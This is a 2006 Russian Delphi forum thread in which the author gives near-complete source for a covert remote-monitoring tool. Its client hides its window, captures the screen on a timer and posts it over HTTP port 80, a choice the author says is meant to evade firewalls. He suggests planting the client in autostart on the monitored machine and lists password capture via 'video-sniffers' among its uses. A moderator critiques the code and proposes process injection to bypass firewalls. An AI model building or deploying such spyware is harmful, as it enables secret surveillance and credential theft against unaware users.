Модераторы: Snowy, Poseidon, MetalFan
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Удаленный контроль - прога своими руками, с обходом firewalls 
:(
    Опции темы
Darksquall
Дата 27.4.2006, 15:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 326
Регистрация: 22.1.2004
Где: Москва

Репутация: нет
Всего: 4



В статье пойдет речь о технологии контороля над удаленным компьютером в локальной сети или глобальной,при наличии "белого" статического 
IP адреса,контроля содержимого экрана в текущий момент времени, а также возможности управления удаленным рабочим столом пользователя.
Статья поможет разработчику справиться с задачей контроля над удаленными системами, контроля с благими целями, любые доработки используются на свой собственный страх и риск разработчиком.

Круг задач по контролю и управлению удаленной системой довольно разнообразен,
это задачи направленные на благие цели,например,при отсутствии у пользователя возможности самостоятельно произвести операцию на компьютере, ему необходимо подключаться через сеть, это службы подобные "HelpDesk",контроль над удаленными серверами и т.д., также задачи 
для контроля или просмотра действий пользователя в целях получения секретной информации,запись действий в видеофайл,получение паролей с помощью так называемых "видео-снифферов" и др.,
существующие программы подобного рода не всегда подходят т.к. для подстройки под конкретную задачу необходимо иметь доступ к исходному коду,наличие гибкости программы также важно, например для скрытия программы от глаз пользователя или минимизации интерфейса, запуска в виде системного процесса и т.д.
Все эти требования заставляют хакера самостоятельно разрабатывать программы подобного рода,разберемся с технологией и разработаем программу для контроля удаленной системы.

Для обхода Firewalls стоящих на компьютерах пользователей,а также чтобы наша программа не "засветилась" на Файерволле при передаче данных,передаваться данные будут по HTTP протоколу, по 80му порту,т.к. в любой системе имеющей доступ к интернет или локальной сети открыт 80й порт и firewall будет считать данные исходящие от нашей программы,обычной интернет страницей.
Поэтому при разработке будут использоваться Delphi 7.0 и компоненты Internet Component Suite от [email protected], бесплатные компоненты качаем с http://www.overbyte.be.
Из набора наиболее подходят HTTPServer(HTTPSrv) и HTTPClient(HTTPCli).

Для передачи изображений по сети наиболее подходит формат для хранения изображений PNG, компонент TPNGImage лежит на http://pngdelphi.sourceforge.net.

Клиентская часть содержит всего три процедуры,которых достаточно для работы.


Код

procedure TForm1.FormCreate(Sender: TObject);
begin
       Application.Showmainform:=false;
       ShowWindow (Form1.handle, SW_HIDE);
end;


Процедура скрывает главную форму


Код

procedure TForm1.Timer1Timer(Sender: TObject);
var
  Png:TPNGObject;
  bmp: TBitmap;
begin
         try
           Timer1.Enabled:=false;
           HttpCli1.URL:='127.0.0.1';
           HttpCli1.ProxyPort:='';
           HttpCli1.Proxy:='';
           HttpCli1.ProxyUsername:= '';
           HttpCli1.ProxyPassword:= '';
           bmp := TBitmap.Create;
           Png:=TPNGObject.Create;
           bmp.Width := Screen.Width;
           bmp.Height := Screen.Height;
           bmp.PixelFormat:=pf8bit; //8 бит (256 цветов) или  bmp.PixelFormat:=pf16bit; 16ть битовый цвет
           BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,GetDC(GetDesktopWindow), 0, 0, SRCCopy);
           png.Assign(bmp);
           png.CompressionLevel:=9;
           HttpCli1.SendStream:=TMemoryStream.Create;
           HttpCli1.RcvdStream := TMemoryStream.Create;
           png.SaveToStream(HttpCli1.SendStream);
           bmp.Free;
           png.Free;
           HttpCli1.SendStream.Seek(0, 0);
           HttpCli1.PostAsync;
         except
           HttpCli1.SendStream.Free;
           HttpCli1.SendStream := nil;
           HttpCli1.RcvdStream.Free;
           HttpCli1.RcvdStream := nil;
         end;
end;



Эту процедуру имеет смысл описать более подробно.
Перед использованием программы на главную форму приложения необходимо положить компонент image, HTTPCli и незабыть всавить в Uses pngimage.

Код

          Timer1.Enabled:=false;
 

Останавливаем таймер для того чтобы на время передачи к серверу не поступало более одного изображения от текущего клиента.

Код

           HttpCli1.URL:='127.0.0.1';


В этом свойстве указываеться адрес сервера,'127.0.0.1' локальный адрес, при "боевых" условиях следует указать реальный IP компьютера или сетевое имя.

Код

           HttpCli1.ProxyPort:='';
           HttpCli1.Proxy:='';
           HttpCli1.ProxyUsername:= '';
           HttpCli1.ProxyPassword:= '';


Дополнительные параметры используються при наличии прокси.

Код

           bmp := TBitmap.Create;
           Png:=TPNGObject.Create;


Создаем экземляры обьектов для хранения изображения подготавливаемого для отсылки серверу, т.е. все то, что будет происходить на 
экране пользователя,обязательно попадет в bmp и Png.

Код

           bmp.Width := Screen.Width;
           bmp.Height := Screen.Height;


Устанавливаем размер изображения равный размеру текущего экрана.

Код

          bmp.PixelFormat:=pf8bit; //8 бит (256 цветов)
  или 

Код

 bmp.PixelFormat:=pf16bit;// 16ти битовый цвет


Перед тем как получить копию экрана установим количество бит на пиксел изображения.

Код

           BitBlt(bmp.Canvas.Handle, 0, 0, Screen.Width, Screen.Height,GetDC(GetDesktopWindow), 0, 0, SRCCopy);


Операция по получению копии экрана в bmp.

Код

           png.Assign(bmp);


Так как формат BMP довольно громоздкий для передачи по сети, то необходимо конвертировать в PNG.

Код

           png.CompressionLevel:=9;


Хороший уровень компрессии.

Код

           HttpCli1.SendStream:=TMemoryStream.Create;
           HttpCli1.RcvdStream := TMemoryStream.Create;
           png.SaveToStream(HttpCli1.SendStream);

           
Создаем потоки в памяти и сохраняем туда изображение для передачи серверу.

Код

           bmp.Free;
           png.Free;


Освобождаем память.

Код

           HttpCli1.SendStream.Seek(0, 0);
           HttpCli1.PostAsync;


Отправляем частями изображение на сервер.

Код

           HttpCli1.SendStream.Free;
           HttpCli1.SendStream := nil;
           HttpCli1.RcvdStream.Free;
           HttpCli1.RcvdStream := nil;


Если произошел сбой передачи или ошибка другого рода,освобождаем память.


Код

procedure TForm1.HttpCli1RequestDone(Sender: TObject; RqType: THttpRequest;
  ErrCode: Word);
var
 Data:string;
begin
        HttpCli1.SendStream.Free;
            HttpCli1.SendStream := nil;
        if ErrCode <> 0 then
        begin
            HttpCli1.RcvdStream.Free;
            HttpCli1.RcvdStream := nil;
            Timer1.Enabled:=false;
            exit;
        end;

        if HttpCli1.StatusCode <> 200 then
        begin
           HttpCli1.RcvdStream.Free;
            HttpCli1.RcvdStream := nil;
            Timer1.Enabled:=false;
            stop;
            exit;
        end;

    HttpCli1.RcvdStream.Seek(0, 0);
    SetLength(Data, HttpCli1.RcvdStream.Size);
    HttpCli1.RcvdStream.Read(Data[1], Length(Data));
    HttpCli1.RcvdStream.Free;
    HttpCli1.RcvdStream := nil;
    if copy(Data,1,2)='Ok' then Timer1.Enabled:=true;
end;


Процедура выполняеться только тогда,когда приходит ответ от сервера,что документ полностью получен.
И процедура освобождает память, и при удачно выполненной отправке изображения запускает таймер,для передачи
на сервер следующего изображения полученного в текущий момент времени с локального компьютера.

Код

procedure TForm1.Button1Click(Sender: TObject);
begin
    try
    PNGStream:=Tmemorystream.Create;
    HttpServer1.DocDir:=ExtractFilePath(Application.ExeName);
    HttpServer1.DefaultDoc  := 'Izobrajenie.png';
    HttpServer1.TemplateDir:=ExtractFilePath(Application.ExeName);
    HttpServer1.Port        := '80';
    HttpServer1.ClientClass := TMyHttpConnection;
    HttpServer1.Start;
    except
     on E:Exception do begin
            application.MessageBox('Инициализация сервера не возможна!','Внимание!',0);
             if HttpServer1.WSocketServer.LastError = WSAEADDRINUSE then
                        application.MessageBox('Уже запущен!','Внимание!',0);
        end;
    end;
end;


Процедура выполняет инициализацию сервера,по умолчанию устанавливаеться главный документ, если разработчик решит хранить данные не
только в потоках но также и на дисках компьютера,такой способ замедлит передачу изображения, но все же он возможен.

Код

    HttpServer1.DefaultDoc  := 'Izobrajenie.png';

    HttpServer1.Port        := '80';


Порт для передачи данных.

Код

    HttpServer1.Start;


Команда запуска сервера.


Код

procedure TForm1.HttpServer1PostDocument(Sender, Client: TObject;
  var Flags: THttpGetFlag);
var
    ClientCnx  : TMyHttpConnection;
    s:string;
begin
    ClientCnx := TMyHttpConnection(Client);
    s:=ClientCnx.Path;
    Flags := hgAcceptData;
    ClientCnx.LineMode := FALSE;
    ClientCnx.FDataLen:=0;
    ClientCnx.FPostedDataSize:=2000;
    GetMem(ClientCnx.FPostedDataBuffer, ClientCnx.FPostedDataSize);
    MStream:=TMemoryStream.Create;
end;



Процедура инициализируется при поступлении на сервер любого документа и выполняет подготовку памяти для размещения получаемого изображения от клиента.


Код

procedure TForm1.HttpServer1PostedData(Sender, Client: TObject;
  Error: Word);
var
    Len     : Integer;
    ClientCnx  : TMyHttpConnection;
    Flags:THttpGetFlag;
begin
    ClientCnx := TMyHttpConnection(Client);
    Len:=ClientCnx.Receive(ClientCnx.FPostedDataBuffer,ClientCnx.FPostedDataSize);
    if Len <= 0 then  Exit;
    Inc(ClientCnx.FDataLen, Len);

              try
               MStream.Write(ClientCnx.FPostedDataBuffer^, Len);
              except
               MStream.Free;
               ClientCnx.Destroy;
               exit;
              end;

    if ClientCnx.FDataLen = ClientCnx.RequestContentLength then
        begin
               ClientCnx.PostedDataReceived;
           ClientCnx.AnswerString( Flags,'','','','Ok');
           Pngstream.Free;
               PNGStream:=TmemoryStream.Create;
           PNGStream.Position:=0;
           MStream.SaveToStream(PNGStream);
           MStream.Free;
           Png:=TPNGObject.Create;
           Pngstream.Position:=0;
           png.LoadFromStream(PNGStream);
           form1.Image1.Picture.Bitmap.Assign(png);
           png.Free;
        end;
end;



Данная процедура выполняеться сразу же по приходу данных на сервер второй после HttpServer1PostDocument
и собирает полученные данные из нескольких частей в одну.
После того как данные получены клиенту отправляется сигнал, что данные удачно были получены

Код

               ClientCnx.PostedDataReceived;
           ClientCnx.AnswerString( Flags,'','','','Ok');


память освобождаеться

Код

           Pngstream.Free;


и PNG изображение повторно переводиться в BMP формат с выводом на экран с помощью компонента image.

Код

           form1.Image1.Picture.Bitmap.Assign(png);


Программа дает возможность наблюдать за удаленным компьютером, но пока не позволяет управлять им.
Для управления достаточно добавить в серверную часть еще один компонент HTTPCli, который будет передавать события клавиатуры+мыши таким же способом как и передаются изображения в данном примере, а в клиентскую часть добавить компонент HTTPSrv принимающий
и программно выполняющий на компьютере клиента события,при более изощренном подходе возможно не добавлять новых компонент,а передавать данные о событиях в ClientCnx.AnswerString( Flags,'','','','Событие1 Мышь X-150 Y120 LeftButton Клавиатура кнопка С'), но этот метод работает довольно медленно, т.е. клавиатура генерирует нажатие и мышь передвигаеться только при поступлении нового изображения,т.к. данные о событии передаються практически в одном потоке с изображением.Первый подход будет более правильным и быстрым, но в него необходимо добавить дополнительный таймер для передачи событий.

Координаты мыши можно установить так:

Код

Mouse.CursorPos:=Point(x2 ,y2);
 

Нажатие правой кнопки:

Код

 mouse_event(MOUSEEVENTF_RIGHTDOWN,x2,y2,0,0);


Нажатие левой кнопки:

Код

 mouse_event(MOUSEEVENTF_RIGHTUP,x2,y2,0,0);


События клавиатуры можно генерировать так:

Код

 keybd_event(key, MapvirtualKey(key, 0), flag, 0);


Получить нажатия клавиатуры можно с помощью метода класса TForm:

Код

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
  Shift: TShiftState);


Получить координаты мыши можно например так:

Код

procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
        MOUSX:=x;
        MOUSY:=y;
end;


После компиляции,в первую очередь необходимо запустить сервер в нашей системе,затем прописать клиентскую часть приложения в автозагрузку на отслеживаемом компьютере,но не забыть написать в коде правильный IP сервера (т.е. нашего компьютера), и все действия наблюдаемого пользователя будут отображаться на нашем экране.

Так как в статье приведен пример с минимальным текстом программы и не предусмотрены многие варианты использования данного метода,то желательно клиентскую часть запускать после старта серверной части.
так же следует учесть, что перед использованием серверной части необходимо убедиться в отсутствии на компьютере работающих серверов, например IIS, т.к. работа одного из серверов будет невозможна. 

Полная версия программы с исходным кодом (без дополнительных компонент) прилагается в архиве.
Желаю успехов в освоении и разработке!.

Alimoff Roman - Darksquall 
([email protected]

Присоединённый файл ( Кол-во скачиваний: 72 )
Присоединённый файл  ProgaR.rar 27,04 Kb


--------------------
PM WWW ICQ   Вверх
Snowy
Дата 27.4.2006, 15:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 11363
Регистрация: 13.10.2004
Где: Питер

Репутация: 53
Всего: 484



Не хочу показаться невежливым...
Но моя оценка примерна та же, что я поставил трояну флеонова.
Данный код очень похож на то же самое.
Моя оценка: 10 по 100 бальной системе.
Код годится только для демонстрации, но не для реального использования. 
PM MAIL   Вверх
Darksquall
Дата 27.4.2006, 15:42 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 326
Регистрация: 22.1.2004
Где: Москва

Репутация: нет
Всего: 4



Snowy, цель статьи не создание АВТОРОМ кода  и выкладывания для использования, а описание технологии. И минимум кода,рабочий. 

Это сообщение отредактировал(а) Darksquall - 27.4.2006, 15:53


--------------------
PM WWW ICQ   Вверх
Snowy
Дата 27.4.2006, 16:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 11363
Регистрация: 13.10.2004
Где: Питер

Репутация: 53
Всего: 484



Навскидку несколько замечаний:
Цитата(Darksquall @  27.4.2006,  15:15 Найти цитируемый пост)
Для обхода Firewalls стоящих на компьютерах пользователей,а также чтобы наша программа не "засветилась" на Файерволле при передаче данных,передаваться данные будут по HTTP протоколу, по 80му порту,т.к. в любой системе имеющей доступ к интернет или локальной сети открыт 80й порт и firewall будет считать данные исходящие от нашей программы,обычной интернет страницей.
Вероятно это очень глупый файрвол. Нормальный файрвол контролирует всю сетевую активность с привязкой к программе. Например IExplorer имеет право стучать в 80-й порт, а Project1 - нет.
Для обхода используется интеграция в чужой процесс, который имеет разрешение стучаться в порт.

Цитата(Darksquall @  27.4.2006,  15:15 Найти цитируемый пост)
TForm1
Использование TApplication в данном проекте уже само по себе достаточно странно и бессмысленно, как троян флеонова. Это, пожалуй самый главный минус.

Цитата(Darksquall @  27.4.2006,  15:15 Найти цитируемый пост)
Процедура скрывает главную форму
Зачем вообще нужна форма? Почему ее скрытие происходит в OnCreate?

Цитата(Darksquall @  27.4.2006,  15:15 Найти цитируемый пост)
Останавливаем таймер для того чтобы на время передачи к серверу не поступало более одного изображения от текущего клиента.
Зачем таймер? Что мешает осуществлято прямое управление процессом?

Цитата(Darksquall @  27.4.2006,  15:15 Найти цитируемый пост)
bmp := TBitmap.Create;
Png:=TPNGObject.Create;
Тоже непонятно. Зачем создавать объекты, выделять память, задавать параметры, уничтожать их, когда можно один раз создать при старте программы и уничтожить при завершении (если таковое вообще предполагается).
Ну это так навскидку. Подробно смотреть лень.
Просто в совокупности все это и вызвало такую оценку.

Цитата(Darksquall @  27.4.2006,  15:42 Найти цитируемый пост)
описание технологии
Может быть для меня технология слишком очевидна, поэтому я и смотрел реализацию.
Возможно кому-то будет интересен сам принцип... Хотя принцип прост. Вот с грамотной реализацией гораздо сложнее. 
PM MAIL   Вверх
Darksquall
Дата 27.4.2006, 16:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 326
Регистрация: 22.1.2004
Где: Москва

Репутация: нет
Всего: 4



Snowy конечно, bmp создаються в примере только для статьи и минимизации процедур, выделять память при создании и освобождать при выходе это естественно, но это добавит 2 процедуры,что не гуд для начинающего, без таймера прога станет менее регулируемой по скорости.форма нужна для отсутствия лишних вопросов у начинающего, т.к. он наверняка захочет добавить чтото.Скорее эта статья не для проф.уровня модератора,а для новичка или незнакомого с подобными вещами,потому и вопросы. 


--------------------
PM WWW ICQ   Вверх
Snowy
Дата 27.4.2006, 16:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Модератор
Сообщений: 11363
Регистрация: 13.10.2004
Где: Питер

Репутация: 53
Всего: 484



Ну если только так.
Но все равно, создание стоит перенести в OnCreate, и добавить уничтожение в OnDestroy.
А так, больше вопросов нет. 
PM MAIL   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Сети"
Snowy
Poseidon
MetalFan

Запрещено:

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делится вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи

Если Вам помогли и атмосфера форума Вам понравилась, то заходите к нам чаще! С уважением, Snowy, Poseidon, MetalFan.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Сети | Следующая тема »


 




[ Время генерации скрипта: 0.0868 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.